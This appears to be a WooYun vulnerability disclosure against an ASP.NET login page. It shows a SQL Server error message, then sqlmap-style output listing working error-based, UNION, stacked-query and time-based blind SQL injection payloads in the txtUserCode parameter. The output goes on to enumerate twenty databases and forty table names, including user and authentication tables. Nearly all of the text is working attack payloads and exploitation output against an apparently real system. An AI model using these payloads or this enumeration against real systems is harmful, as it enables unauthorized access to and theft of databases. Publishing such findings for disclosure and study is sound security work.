WooYun.org

Server Error in '/' Application.
字符串 ''' 后的引号不完整。
''' 附近有语法错误。
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Web.Services.Protocols.SoapException: 字符串 ''' 后的引号不完整。
''' 附近有语法错误。
Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Place: POST
Parameter: txtUserCode
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwULLTIxMDQzNDM2MjFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQdidG5TZXZlxQ34OR4Hc5DCtkioH9GxM7ZxkE0=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQLA9Z7LBQKj1dLzBwK9+7qcDgKP/fS7AwKgt7iSDIiFFrClKvEL9HLzq+KJEHAcHct7&txtUserCode=admin' AND 2322=CONVERT(INT,(CHAR(58)+CHAR(101)+CHAR(118)+CHAR(108)+CHAR(58)+(SELECT (CASE WHEN (2322=2322) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR(116)+CHAR(114)+CHAR(58))) AND 'wwRa'='wwRa&txtPWD=123456&txtCardCode=&btnSeve.x=93&btnSeve.y=13
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwULLTIxMDQzNDM2MjFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQdidG5TZXZlxQ34OR4Hc5DCtkioH9GxM7ZxkE0=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQLA9Z7LBQKj1dLzBwK9+7qcDgKP/fS7AwKgt7iSDIiFFrClKvEL9HLzq+KJEHAcHct7&txtUserCode=admin' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(58)+CHAR(101)+CHAR(118)+CHAR(108)+CHAR(58)+CHAR(104)+CHAR(100)+CHAR(78)+CHAR(103)+CHAR(79)+CHAR(71)+CHAR(114)+CHAR(108)+CHAR(117)+CHAR(65)+CHAR(58)+CHAR(111)+CHAR(116)+CHAR(114)+CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL-- &txtPWD=123456&txtCardCode=&btnSeve.x=93&btnSeve.y=13
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwULLTIxMDQzNDM2MjFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQdidG5TZXZlxQ34OR4Hc5DCtkioH9GxM7ZxkE0=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQLA9Z7LBQKj1dLzBwK9+7qcDgKP/fS7AwKgt7iSDIiFFrClKvEL9HLzq+KJEHAcHct7&txtUserCode=admin'; WAITFOR DELAY '0:0:5'--&txtPWD=123456&txtCardCode=&btnSeve.x=93&btnSeve.y=13
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __LASTFOCUS=&__VIEWSTATE=/wEPDwULLTIxMDQzNDM2MjFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQdidG5TZXZlxQ34OR4Hc5DCtkioH9GxM7ZxkE0=&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBQLA9Z7LBQKj1dLzBwK9+7qcDgKP/fS7AwKgt7iSDIiFFrClKvEL9HLzq+KJEHAcHct7&txtUserCode=admin' WAITFOR DELAY '0:0:5'--&txtPWD=123456&txtCardCode=&btnSeve.x=93&btnSeve.y=13

available databases [20]:                                                      
[*] ConfigCenter
[*] DBData
[*] master
[*] model
[*] msdb
[*] tempdb
[*] WebFrontOffice113
[*] WebFrontOffice114
[*] WebFrontOffice115
[*] WebFrontOffice116
[*] WebFrontOffice117
[*] WebFrontOffice118
[*] WebFrontOffice119
[*] WebFrontOffice120
[*] WebFrontOffice121
[*] WebFrontOffice33
[*] WebFrontOffice34
[*] WebFrontOffice39
[*] WebFrontOffice40
[*] WebFrontOffice63

Database: ConfigCenter                                                         
[40 tables]
+------------------------+
| dbo.AppSystem          |
| dbo.Authenticate       |
| dbo.CheckCodeRecord    |
| dbo.City               |
| dbo.DBConnString       |
| dbo.DataSchema         |
| dbo.DataSchemaField    |
| dbo.DataSchemaSecurity |
| dbo.District           |
| dbo.GroupOwnRoles      |
| dbo.Inn                |
| dbo.InnChangeLog       |
| dbo.Inn_tmp            |
| dbo.PCMachine          |
| dbo.Passport           |
| dbo.Region             |
| dbo.Roles              |
| dbo.ServiceSystem      |
| dbo.ServiceURL         |
| dbo.ServiceURL1        |
| dbo.ServiceURL11       |
| dbo.ServiceURL12       |
| dbo.ServiceURL16       |
| dbo.ServiceURL17       |
| dbo.ServiceURL18       |
| dbo.ServiceURL2        |
| dbo.ServiceURL3        |
| dbo.ServiceURL4        |
| dbo.ServiceURL5        |
| dbo.ServiceURL6        |
| dbo.ServiceURL7        |
| dbo.ServiceURL8        |
| dbo.SoftwareVersion    |
| dbo.SwitchStep         |
| dbo.User               |
| dbo.UserKeyCard        |
| dbo.UserOnwRoles       |
| dbo.UserRoleGroup      |
| dbo.sys_Kalendar       |
| dbo.sysdiagrams        |
+------------------------+